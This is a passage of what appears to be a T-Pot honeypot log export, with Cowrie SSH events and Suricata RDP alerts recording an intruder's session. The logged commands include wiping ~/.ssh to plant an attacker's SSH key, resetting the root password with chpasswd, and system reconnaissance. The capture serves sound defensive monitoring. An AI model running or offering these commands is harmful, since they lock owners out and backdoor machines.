$7}'", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:22.635936Z", "@timestamp": "2021-09-20T11:23:22.635Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29126	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:23:23.147894+03	2021-09-20 14:30:03.730524+03	{"_id": "aQbyAnwBvYTbRNuEQjNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:23:22.804089+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 699231130764537, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 53995, "dest_port": 3389, "timestamp": "2021-09-20T11:23:23.147894Z", "@timestamp": "2021-09-20T11:23:23.147Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29127	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:23.156341+03	2021-09-20 14:30:03.731524+03	{"_id": "bwbyAnwBvYTbRNuERDOG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "1.117.219.217", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5210757255554199, "duplicate": true, "timestamp": "2021-09-20T11:23:23.156341Z", "@timestamp": "2021-09-20T11:23:23.156Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29128	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:20.877929+03	2021-09-20 14:30:03.732524+03	{"_id": "WwbyAnwBvYTbRNuEODPL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo \\"root:PWALVsIx1LFW\\"|chpasswd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: echo \\"root:PWALVsIx1LFW\\"|chpasswd|bash", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:20.877929Z", "@timestamp": "2021-09-20T11:23:20.877Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29130	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:23.517076+03	2021-09-20 14:30:03.735524+03	{"_id": "cQbyAnwBvYTbRNuERDOH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:23.517076Z", "@timestamp": "2021-09-20T11:23:23.517Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29131	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:23.517608+03	2021-09-20 14:30:03.736524+03	{"_id": "cgbyAnwBvYTbRNuERDOH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:23.517608Z", "@timestamp": "2021-09-20T11:23:23.517Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29132	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:23:23.570186+03	2021-09-20 14:30:03.737523+03	{"_id": "cwbyAnwBvYTbRNuERjNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:23:22.804089+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 699231130764537, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 53995, "dest_port": 3389, "timestamp": "2021-09-20T11:23:23.570186Z", "@timestamp": "2021-09-20T11:23:23.570Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29133	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:24.894743+03	2021-09-20 14:30:03.739523+03	{"_id": "dgbyAnwBvYTbRNuESDNv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "1.117.219.217", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5091662406921387, "duplicate": true, "timestamp": "2021-09-20T11:23:24.894743Z", "@timestamp": "2021-09-20T11:23:24.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29134	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:19.100937+03	2021-09-20 14:30:03.740524+03	{"_id": "VAbyAnwBvYTbRNuENDPj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:19.100937Z", "@timestamp": "2021-09-20T11:23:19.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29135	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:19.612888+03	2021-09-20 14:30:03.741523+03	{"_id": "VQbyAnwBvYTbRNuENDPj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "1.117.219.217", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "db2b50a9c8db", "@version": "1", "destfile": "/root/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:23:19.612888Z", "@timestamp": "2021-09-20T11:23:19.612Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
29136	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:19.615887+03	2021-09-20 14:30:03.742524+03	{"_id": "VgbyAnwBvYTbRNuENDPj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "1.117.219.217", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5155811309814453, "duplicate": true, "timestamp": "2021-09-20T11:23:19.615887Z", "@timestamp": "2021-09-20T11:23:19.615Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29137	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:23:19.9263+03	2021-09-20 14:30:03.744523+03	{"_id": "WQbyAnwBvYTbRNuENjOf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:23:19.926300Z", "@timestamp": "2021-09-20T11:23:19.926Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
29138	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:27.603334+03	2021-09-20 14:30:03.745524+03	{"_id": "gAbyAnwBvYTbRNuEVDMq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "1.117.219.217", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5082190036773682, "duplicate": true, "timestamp": "2021-09-20T11:23:27.603334Z", "@timestamp": "2021-09-20T11:23:27.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29139	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:28.487657+03	2021-09-20 14:30:03.746524+03	{"_id": "hAbyAnwBvYTbRNuEWDMS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "1.117.219.217", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5073323249816895, "duplicate": true, "timestamp": "2021-09-20T11:23:28.487657Z", "@timestamp": "2021-09-20T11:23:28.487Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29140	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:29.75611+03	2021-09-20 14:30:03.747524+03	{"_id": "iQbyAnwBvYTbRNuEWzP7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:29.756110Z", "@timestamp": "2021-09-20T11:23:29.756Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29141	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:29.756651+03	2021-09-20 14:30:03.748523+03	{"_id": "igbyAnwBvYTbRNuEWzP7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:29.756651Z", "@timestamp": "2021-09-20T11:23:29.756Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29142	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:27.09574+03	2021-09-20 14:30:03.749524+03	{"_id": "gwbyAnwBvYTbRNuEVDMq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:27.095740Z", "@timestamp": "2021-09-20T11:23:27.095Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29143	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:28.85905+03	2021-09-20 14:30:03.751523+03	{"_id": "hQbyAnwBvYTbRNuEWDMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:28.859050Z", "@timestamp": "2021-09-20T11:23:28.859Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29144	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:28.859593+03	2021-09-20 14:30:03.752523+03	{"_id": "hgbyAnwBvYTbRNuEWDMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:28.859593Z", "@timestamp": "2021-09-20T11:23:28.859Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29145	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:29.365436+03	2021-09-20 14:30:03.753524+03	{"_id": "iAbyAnwBvYTbRNuEWzP7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "1.117.219.217", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5064680576324463, "duplicate": true, "timestamp": "2021-09-20T11:23:29.365436Z", "@timestamp": "2021-09-20T11:23:29.365Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29146	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:25.270557+03	2021-09-20 14:30:03.754525+03	{"_id": "eQbyAnwBvYTbRNuETDNX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:25.270557Z", "@timestamp": "2021-09-20T11:23:25.270Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
